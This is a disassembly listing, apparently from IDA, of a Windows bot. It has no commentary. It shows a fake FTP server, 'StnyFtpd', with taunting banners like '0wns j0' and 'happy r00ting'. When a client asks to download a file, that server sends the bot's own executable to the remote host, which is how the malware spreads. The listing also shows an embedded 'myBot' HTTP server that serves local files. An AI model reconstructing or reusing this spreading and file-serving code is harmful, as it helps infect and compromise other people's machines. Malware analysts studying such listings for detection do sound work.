loc_40422A: ; CODE XREF: sub_404059+1B9j
; sub_404059+1C2j
cmp eax, [ebp+var_4]
jle short loc_404232
mov [ebp+var_4], eax
loc_404232: ; CODE XREF: sub_404059+1D4j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40463E
; ---------------------------------------------------------------------------
loc_404242: ; CODE XREF: sub_404059+16Dj
push esi
lea eax, [ebp+Dst]
push 64h
push eax
push edi
call ds:dword_41B1D8 ; recv
test eax, eax
jg short loc_4042A9
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_40429D
lea eax, [ebp+var_224]
loc_404269: ; CODE XREF: sub_404059+21Aj
cmp [eax], edi
jz short loc_404277
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_404269
jmp short loc_40429D
; ---------------------------------------------------------------------------
loc_404277: ; CODE XREF: sub_404059+212j
dec edx
cmp ecx, edx
jnb short loc_404297
lea eax, [ebp+ecx*4+var_224]
loc_404283: ; CODE XREF: sub_404059+23Cj
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_404283
loc_404297: ; CODE XREF: sub_404059+221j
dec [ebp+var_228]
loc_40429D: ; CODE XREF: sub_404059+208j
; sub_404059+21Cj
push edi
call ds:dword_41B1DC ; closesocket
jmp loc_40463E
; ---------------------------------------------------------------------------
loc_4042A9: ; CODE XREF: sub_404059+1FCj
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+Dst]
push offset aSS_1 ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+Str1]
push offset aUser ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_4042ED
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_4042ED: ; CODE XREF: sub_404059+285j
lea eax, [ebp+Str1]
push offset aPass ; "PASS"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404311
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_404311: ; CODE XREF: sub_404059+2A9j
lea eax, [ebp+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404335
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_404335: ; CODE XREF: sub_404059+2CDj
lea eax, [ebp+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404359
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_404359: ; CODE XREF: sub_404059+2F1j
lea eax, [ebp+Str1]
push offset off_41FCD4 ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40437D
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_40437D: ; CODE XREF: sub_404059+315j
lea eax, [ebp+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4043B8
lea eax, [ebp+var_334]
push offset aA_0 ; "A"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4043B8
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_4043B8: ; CODE XREF: sub_404059+339j
; sub_404059+350j
lea eax, [ebp+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4043F3
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4043F3
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_404629
; ---------------------------------------------------------------------------
loc_4043F3: ; CODE XREF: sub_404059+374j
; sub_404059+38Bj
lea eax, [ebp+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404441
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+Str]
rep movsd
push eax
lea eax, [ebp+Str]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
loc_404431: ; CODE XREF: sub_404059+427j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_404439: ; CODE XREF: sub_404059+4F7j
mov edi, [ebp+arg_0]
jmp loc_40462C
; ---------------------------------------------------------------------------
loc_404441: ; CODE XREF: sub_404059+3AFj
lea eax, [ebp+Str1]
push offset aList ; "LIST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404482
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_404431
; ---------------------------------------------------------------------------
loc_404482: ; CODE XREF: sub_404059+3FDj
lea eax, [ebp+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404555
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+Dest]
push eax ; Str
call _atoi
mov edi, eax
lea eax, [ebp+var_2D0]
push eax ; Str
call _atoi
mov [ebp+var_8], eax
push 32h ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push [ebp+var_8]
lea eax, [ebp+Dest]
push edi
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
add esp, 44h
lea eax, [ebp+Dest]
push 10h ; Radix
push esi ; EndPtr
push eax ; Str
call _strtoul
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_404439
; ---------------------------------------------------------------------------
loc_404555: ; CODE XREF: sub_404059+43Ej
lea eax, [ebp+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40460A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_40465A
pop ecx
cmp eax, 1
pop ecx
jnz short loc_404600
call sub_4046D7
cmp eax, 1
jnz loc_40462C
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_8DC]
push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"...
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_440], esi
jnz short loc_4045F1
push esi ; int
lea eax, [ebp+var_8DC]
push [ebp+var_444] ; int
push eax ; int
lea eax, [ebp+var_4C4]
push eax ; Str
push [ebp+var_6DC] ; int
call sub_405E64
add esp, 14h
loc_4045F1: ; CODE XREF: sub_404059+573j
lea eax, [ebp+var_8DC]
push eax
call sub_402D63
pop ecx
jmp short loc_40462C
; ---------------------------------------------------------------------------
loc_404600: ; CODE XREF: sub_404059+533j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_404629
; ---------------------------------------------------------------------------
loc_40460A: ; CODE XREF: sub_404059+511j
lea eax, [ebp+Str1]
push offset aQuit ; "QUIT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40462C
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_404629: ; CODE XREF: sub_404059+28Fj
; sub_404059+2B3j ...
push edi
call ebx ; send
loc_40462C: ; CODE XREF: sub_404059+3E3j
; sub_404059+53Dj ...
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_40463E: ; CODE XREF: sub_404059+164j
; sub_404059+18Dj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40418B
jmp loc_404150
; ---------------------------------------------------------------------------
loc_404650: ; CODE XREF: sub_404059+122j
push 1
pop eax
loc_404653: ; CODE XREF: sub_404059+D4j
pop edi
pop esi
pop ebx
leave
retn 4
sub_404059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40465A proc near ; CODE XREF: sub_404059+529p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_41B1AC ; WSAStartup
push 0
push 1
push 2
call ds:dword_41B1B0 ; socket
push [ebp+arg_0]
mov dword_42E664, eax
mov [ebp+var_10], 2
call ds:dword_41B1A0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_41B1BC ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_42E664
call ds:dword_41B1A4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4046D2
push dword_42E664
call ds:dword_41B1DC ; closesocket
call ds:dword_41B1A8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4046D2: ; CODE XREF: sub_40465A+60j
push 1
pop eax
leave
retn
sub_40465A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4046D7 proc near ; CODE XREF: sub_404059+535p
DstBuf = byte ptr -504h
Filename = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+Filename]
push 104h
push eax
push 0
call ds:dword_41B068 ; GetModuleFileNameA
lea eax, [ebp+Filename]
push offset Mode ; "rb"
push eax ; Filename
call _fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40476E
test byte ptr [esi+0Ch], 10h
jnz short loc_404752
push edi
mov edi, 400h
loc_40471A: ; CODE XREF: sub_4046D7+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
lea eax, [ebp+DstBuf]
push 0
push edi
push eax
push dword_42E664
call ds:dword_41B1C8 ; send
push 1
call ds:dword_41B048 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40471A
pop edi
loc_404752: ; CODE XREF: sub_4046D7+3Bj
push esi ; File
call _fclose
pop ecx
push dword_42E664
call ds:dword_41B1DC ; closesocket
call ds:dword_41B1A8 ; WSACleanup
push 1
pop eax
loc_40476E: ; CODE XREF: sub_4046D7+35j
pop esi
leave
retn
sub_4046D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404771 proc near ; DATA XREF: sub_4022E3+333o
; sub_409557+47A2o
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
Dest = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_14], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_25C]
call dword_42EBB4 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_42EC30 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_404B5C
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43054C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_42EBE0 ; bind
cmp eax, 0FFFFFFFFh
jz loc_404B5C
push 7FFFFFFFh
push edi
call dword_42EBDC ; listen
cmp eax, 0FFFFFFFFh
jz loc_404B5C
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_42EC4C ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_404B5C
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_404848: ; CODE XREF: sub_404771+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_42EB9C ; select
cmp eax, 0FFFFFFFFh
jz loc_404B57
xor esi, esi
mov [ebp+var_4], esi
loc_40487E: ; CODE XREF: sub_404771+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_42EABC ; __WSAFDIsSet
test eax, eax
jz loc_404B42
cmp esi, [ebp+var_C]
jnz short loc_404900
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_42EC44 ; accept
cmp eax, 0FFFFFFFFh
jz loc_404B42
xor ecx, ecx
test ebx, ebx
jbe short loc_4048D2
lea edx, [ebp+var_134]
loc_4048C6: ; CODE XREF: sub_404771+15Fj
cmp [edx], eax
jz short loc_4048D2
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_4048C6
loc_4048D2: ; CODE XREF: sub_404771+14Dj
; sub_404771+157j
cmp ecx, ebx
jnz short loc_4048EF
cmp ebx, 40h
jnb short loc_4048EF
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_4048EF: ; CODE XREF: sub_404771+163j
; sub_404771+168j
cmp eax, [ebp+var_8]
jbe loc_404B42
mov [ebp+var_8], eax
jmp loc_404B42
; ---------------------------------------------------------------------------
loc_404900: ; CODE XREF: sub_404771+126j
mov edi, 1000h
lea eax, [ebp+Str]
push edi ; Size
push 0 ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+Str]
push 0
push edi
push eax
push esi
call dword_42EBCC ; recv
test eax, eax
jg short loc_404993
push esi
call dword_42EC48 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_404B42
lea eax, [ebp+var_134]
loc_404952: ; CODE XREF: sub_404771+1EBj
cmp [eax], esi
jz short loc_404963
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_404952
jmp loc_404B42
; ---------------------------------------------------------------------------
loc_404963: ; CODE XREF: sub_404771+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_404987
lea eax, [ebp+ecx*4+var_134]
loc_404971: ; CODE XREF: sub_404771+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_404971
loc_404987: ; CODE XREF: sub_404771+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_404B42
; ---------------------------------------------------------------------------
loc_404993: ; CODE XREF: sub_404771+1C8j
xor esi, esi
push 104h ; Size
lea eax, [ebp+var_23C]
push esi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Str]
mov [ebp+arg_0], esi
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jbe loc_404B42
loc_4049C1: ; CODE XREF: sub_404771+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+Str]
cmp al, 0Ah
mov [ebp+esi+Str1], al
jnz loc_404A66
mov esi, offset SubStr ; "GET "
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_404A3A
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_404A3A
mov eax, offset Delim ; " "
push eax ; Delim
push eax ; SubStr
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+var_23C]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_404A51
; ---------------------------------------------------------------------------
loc_404A3A: ; CODE XREF: sub_404771+27Fj
; sub_404771+291j
lea eax, [ebp+Str1]
push offset asc_41FD9C ; "\r\n"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_404A85
loc_404A51: ; CODE XREF: sub_404771+2C7j
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_404A66: ; CODE XREF: sub_404771+263j
inc [ebp+arg_0]
lea eax, [ebp+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jb loc_4049C1
jmp loc_404B42
; ---------------------------------------------------------------------------
loc_404A85: ; CODE XREF: sub_404771+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_404ACF
lea eax, [ebp+var_134]
loc_404A91: ; CODE XREF: sub_404771+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_404AA2
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_404A91
jmp short loc_404AD2
; ---------------------------------------------------------------------------
loc_404AA2: ; CODE XREF: sub_404771+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_404AC6
lea eax, [ebp+ecx*4+var_134]
loc_404AB0: ; CODE XREF: sub_404771+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_404AB0
loc_404AC6: ; CODE XREF: sub_404771+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_404AD2
; ---------------------------------------------------------------------------
loc_404ACF: ; CODE XREF: sub_404771+318j
mov esi, [ebp+var_4]
loc_404AD2: ; CODE XREF: sub_404771+32Fj
; sub_404771+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_404B3B
lea eax, [ebp+var_360]
push eax ; Str
call _strlen
mov edi, eax
lea eax, [ebp+var_23C]
push eax ; Str
call _strlen
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_404B3B
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_42EC4C ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_404D4E
add esp, 14h
jmp short loc_404B42
; ---------------------------------------------------------------------------
loc_404B3B: ; CODE XREF: sub_404771+369j
; sub_404771+38Fj
push esi
call dword_42EC48 ; closesocket
loc_404B42: ; CODE XREF: sub_404771+11Dj
; sub_404771+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40487E
jmp loc_404848
; ---------------------------------------------------------------------------
loc_404B57: ; CODE XREF: sub_404771+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_404B5C: ; CODE XREF: sub_404771+6Aj
; sub_404771+92j ...
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_404BA2
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_250] ; int
push eax ; int
lea eax, [ebp+var_5E8]
push eax ; Str
push [ebp+var_5EC] ; int
call sub_405E64
add esp, 14h
loc_404BA2: ; CODE XREF: sub_404771+40Cj
lea eax, [ebp+Dest]
push eax
call sub_402D63
pop ecx
push edi
call dword_42EC48 ; closesocket
push [ebp+var_254]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
pop ebx
sub_404771 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404BCC proc near ; DATA XREF: sub_404D4E+246o
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
lea eax, [ebp+var_2C4]
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_404C31
push offset aTextHtml ; "text/html"
jmp short loc_404C36
; ---------------------------------------------------------------------------
loc_404C31: ; CODE XREF: sub_404BCC+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_404C36: ; CODE XREF: sub_404BCC+63j
lea eax, [ebp+var_9C]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_41B0A0 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_41B09C ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_404CAF
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_404CD0
; ---------------------------------------------------------------------------
loc_404CAF: ; CODE XREF: sub_404BCC+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_404CD0: ; CODE XREF: sub_404BCC+E1j
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44C]
call dword_42EC00 ; send
cmp [ebp+var_A4], edi
jnz short loc_404D10
lea eax, [ebp+Dest]
push eax
push [ebp+var_44C]
call sub_405680
pop ecx
pop ecx
jmp short loc_404D2D
; ---------------------------------------------------------------------------
loc_404D10: ; CODE XREF: sub_404BCC+12Cj
lea eax, [ebp+Source]
push eax ; Source
push edi ; int
push [ebp+var_44C] ; int
lea eax, [ebp+Dest]
push eax ; Str
call sub_404FFE
add esp, 10h
loc_404D2D: ; CODE XREF: sub_404BCC+142j
push [ebp+var_44C]
call dword_42EC48 ; closesocket
push [ebp+var_B4]
call sub_411F56
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_404BCC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D4E proc near ; CODE XREF: sub_404771+3C0p
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Dest = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Str = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_404D84
push eax
push offset aS_6 ; "\\%s"
jmp short loc_404D8D
; ---------------------------------------------------------------------------
loc_404D84: ; CODE XREF: sub_404D4E+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_404D8D: ; CODE XREF: sub_404D4E+34j
lea eax, [ebp+Str]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Str]
xor esi, esi
xor ebx, ebx
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_404E28
mov [ebp+arg_8], 2
loc_404DB8: ; CODE XREF: sub_404D4E+D8j
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_404DF8
cmp [ebp+esi+Str], 25h
jnz short loc_404DF8
cmp [ebp+esi+var_10B], 32h
jnz short loc_404DF8
cmp [ebp+esi+var_10A], 30h
jnz short loc_404DF8
inc esi
mov [ebp+ebx+Dst], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_404E12
; ---------------------------------------------------------------------------
loc_404DF8: ; CODE XREF: sub_404D4E+7Aj
; sub_404D4E+84j ...
mov al, [ebp+esi+Str]
cmp al, 2Fh
jnz short loc_404E08
push 5Ch
pop eax
jmp short loc_404E0B
; ---------------------------------------------------------------------------
loc_404E08: ; CODE XREF: sub_404D4E+B3j
movsx eax, al
loc_404E0B: ; CODE XREF: sub_404D4E+B8j
mov [ebp+ebx+Dst], al
loc_404E12: ; CODE XREF: sub_404D4E+A8j
lea eax, [ebp+Str]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_404DB8
loc_404E28: ; CODE XREF: sub_404D4E+61j
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push [ebp+arg_4]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push offset asc_42002C ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Dest]
push eax
call ds:dword_41B0A8 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_404E76
cmp eax, 0FFFFFFFFh
jnz short loc_404E79
push [ebp+arg_0]
jmp short loc_404EF5
; ---------------------------------------------------------------------------
loc_404E76: ; CODE XREF: sub_404D4E+11Cj
mov [ebp+var_4], esi
loc_404E79: ; CODE XREF: sub_404D4E+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_404E86
mov [ebp+var_4], esi
loc_404E86: ; CODE XREF: sub_404D4E+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_404F00
cmp [ebp+arg_C], edi
jz short loc_404EF4
lea eax, [ebp+Dest]
push offset asc_420028 ; "*"
push eax ; Dest
call _strcat
lea eax, [ebp+Dest]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_40573D
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_404F4F
; ---------------------------------------------------------------------------
loc_404EF4: ; CODE XREF: sub_404D4E+14Fj
push ebx
loc_404EF5: ; CODE XREF: sub_404D4E+126j
call dword_42EC48 ; closesocket
jmp loc_404FF7
